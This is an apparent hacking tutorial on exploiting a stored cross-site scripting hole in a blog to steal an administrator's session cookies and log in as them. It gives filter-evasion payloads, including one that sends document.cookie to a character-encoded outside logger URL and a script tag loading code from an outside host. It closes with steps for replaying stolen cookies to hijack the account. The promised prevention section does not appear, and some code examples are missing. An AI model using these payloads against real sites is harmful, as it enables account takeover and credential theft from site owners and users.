1. We find a blog which allows users user to input data.
2. This data is displayed, unedited or sanitised on the blog index page.
3. We want to inject a XSS to log the administrative users cookies.
4. We want to login with the cookie we have stolen.
* 1 What You Will Need
* 2 Identifying & Exploiting the Vulnerability
* 3 Exploiting
* 4 Possible Limitations and Basic Filter Evasion Techniques
* 5 Using the Cookies
* 6 Preventing XSS Vulnerabilities
* 7 References
What You Will Need
Before we start, there are a few things you will need in order to follow the paper efficiently, I have set a list below of what you will need with the required links. I have included a BASIC vulnerable script for you to play with, if you ever see someone using this script for anything other than this, then they deserve to be shot.
Heres a list of things you will need through-out the tutorial :>
Mozilla Firefox. 
FF addon : Add & Edit Cookies. 
FF addon : Live HTTP Headers. 
An ACTIVE cookie logger. Refer to ‘scripts’ at the end of this tutorial for a logger script.
A XSS vulnerability to test and exploit. Refer to ‘scripts’ at the end of this tutorial for an example of a vulnerable script. Hosting is up to you, try this free PHP web host :> 
The desire and dedication to learn. [Yourself.]
Identifying & Exploiting the Vulnerability
This would display a message box with XSS as the message.
NOTE : There is an obvious way to filter this, but we will talk about that in the next section.
To perform this test we want the page in question to print out the script, so the browser will execute it. So in this case using the included vulnerable test page, input the string <script>alert(‘XSS’)</script>. Now the page will execute this and you should get an alert box displaying the message ‘XSS’.
With permanent vulnerability, these tests are not always a good idea, as they cannot be removed in most cases, and the owner of the site will clock it pretty quickly if he sees a message box pop up that’s not supposed to be there. Another method of testing for vulnerability is the document.write method. The same concepts and structure is applied to this method as the alert method, we’re just using the document.write function instead of the alert function. So this time we insert :
This time the script will return the string ‘XSS’, (without quotes), and will write it to the page, where the string is supposed to be shown.
Assuming you’ve efficiently identified a exploitable XSS vulnerability, we need to think about the possible attack vectors and different usages of the XSS, and how we can manipulate it to get certain information. Here is a list of a few of the usages of XSS and a basic description on what they do :>
 Cookie Stealing ~ Stealing a users cookie, to gain access to their account and bypass certain security measures.
 Cross-Site Request Forgery ~ Also known as CSRF or XSRF. This type of attack is used to make the user send a request to the server without their knowledge, (e.g., make the user change their password).
 XSS Worms ~ A XSS worm is a malicious script that has the ability to spread across as site, using a vulnerable point of the site. These can be deadly depending on the intent of the attacker.
 Door-Forwarding ~ I wasn’t sure what to call this. This is where the script creates an iframe to execute an exploit, or open a malicious download on a legitimate website. These attacks are not very common, but are active all over the internet.
 Keylogging ~ The clue is in t he name. This method allows you to log keystrokes made by the user on the page where the XSS is. Not as common as the CSRF or the worms, but still poses as a huge risk and is overlooked far too often.
The type of attack depends massively on the website, and the type of information you expect in the outcome. For example, on a blogging system with no user accounts, there is no point in making a XSS worm to spread, because there’s nowhere to go. A more relevant attack would be CSRF or cookie stealing, so we get admin access at the end of it.
Now assuming you have successfully identified a XSS vulnerability and chosen your attack vector, (in this example we will be covering cookie stealing), we will go over setting up our logger and a few methods of doing so.
Example 1 :
Once you have posted this to the blogging system, and it’s echoed on the index.php, we just have to be patient and hope the administrator of the site visits it soon, so we can get their cookie.
Another method I want to go over is the <script src=> method. The only difference with this one is that the main script is kept off-site, and is fetched by the <script src> tag, and then executed on the page. This is advantageous in many ways. It can reduce the size of our script on the target site for one, and secondly it can be changed if we want to change the functionality of our XSS. This type of XSS is usually more practical for worms, and keyloggers, but is definitely worth knowing.
Example 2 :
Our cookie logger URL : http://mysite.com/logger.php
Our script URL : http://mysite.com/script.js
Vulnerable Page : http://someblog.com/index.php
Injection Point : http://someblog.com/post.php
Here is how we include or foreign script :
Inside the script we just need the logger, use a function from Example 1. An example of our script would be :
Again, like anything, patience is a virtue. I’m assuming if you’ve read this far you have some level of interest. Just keep at it, no matter how difficult things get. If you get to the point where you think ‘I cant fucking do this!’, just take a step back, go over it again and take your time. There’s no rush is there? You don’t have anything to prove. If you do, you’re doing this for the wrong reasons.
Possible Limitations and Basic Filter Evasion Techniques
As with every vulnerability, there’s always some kind of obstacle that can prevent us doing what we intend to do, whether its filtering out our code, or stopping us altogether. In this section I will go through three examples of filters that you might come across on your travels and how I bypass them. Other people might have a different way around these and in time I’m sure you will pick up your own techniques. The first filter I will show you is a filter which removes the ‘<script>’ and ‘</script>’ tags. While a very basic and common method of filtering, it is ridiculously easy to bypass. There are of course other things which can totally prevent XSS’s from happening, such as HTML encoding ect. but I will go through all that in the prevention section near the end.
Example 1 ~ Tag Removal :
and it returns the string : alert(‘XSS’).
Never fear, there is away around this. If I now insert this : ‘<scr<script>ipt>alert(‘XSS’)</scr</script>ipt>’
Now the script will remove the tags, and echo what’s left, which is : <script>alert(‘XSS’)</script>.
Example 2 ~ magic_quotes :
I assume you know what magic_quotes is. If not have a read on the Wikipedia or just browse Google.
<script>alert(String.fromCharCode(88, 83, 83))</script>
Now this should execute the message box. You can apply this method for a lot of things while exploiting XSS.
HINT : When using integer values, you don’t need the quotes. (<script>alert(123456)</script>)
Now, back to stealing our cookies. We want to apply this method to our cookie stealer. For the next example, we will assume that our blog we are trying to get admin on is using BOTH of this filters, so we will apply both of the bypassing methods.
<scr<script>ipt>location.href=String.fromCharCode( 104, 116, 116, 112, 58, 47, 47, 100, 117, 115, 101, 99, 117, 114, 105, 116, 121, 46, 99, 111, 109, 47, 108, 111, 103, 103, 101, 114, 46, 112, 104, 112)+document.cookie;</scr</script>ipt>
So now this will echo :
<script>location.href=String.fromCharCode(104, 116, 116, 112, 58, 47, 47, 100, 117, 115, 101, 99, 117, 114,105, 116, 121, 46, 99, 111, 109, 47, 108, 111, 103, 103, 101, 114, 46, 112, 104, 112)+document.cookie;</script>
onto the index.php page on our vulnerable site.
The last limitation i would like to go over is the length your allowed to post to the index page. if it was, for example, 50 chars we wouldn’t be allowed to post this to the page. There are two main ways around this, the first one is using a foreign script :
Example 1 : <script src=’http://site.com/x.js’></script>
Another Example is using another tag, for example, the <img src=> tag.
If your website is a long URL, such as, http://www.thisismyubersuperblog.com/ then you can try using the IP address, which will be <= 27 in length.
Using the Cookies
Now that you have successfully setup and started your XSS exploitation, all you can do is wait until a user with higher privileges than you executes your script, preferably an administrator. Once you have a hit, you can now log in as that user, as long as the session is still valid. There are many ways to do this, but in this example I will use ‘Add n’ Edit Cookies’, which is an add-on for FireFox. I am assuming you already have Add ‘n Edit Cookies installed, if not refer to section two of the paper.
1. 1. Open FireFox.
2. 2. Click on Tools in the menu bar.
3. 3. Click on Cookie Editor.
4. 4. Click on Add.
Adding the cookie :
1. 5. In name, add the name of that cookie, (the bit before the =)
2. 6. In content, add the value.
3. 7. In host, add .site.com, unless its a sub domain or otherwise stated, (the dot infront of the domain name is important).
4. 8. In path, write /, unless you have the exact path where you want the cookie to be active.
Repeat this procedure until every cookie has been added. Once this is done, you can navigate to the website and check to see if you have logged in.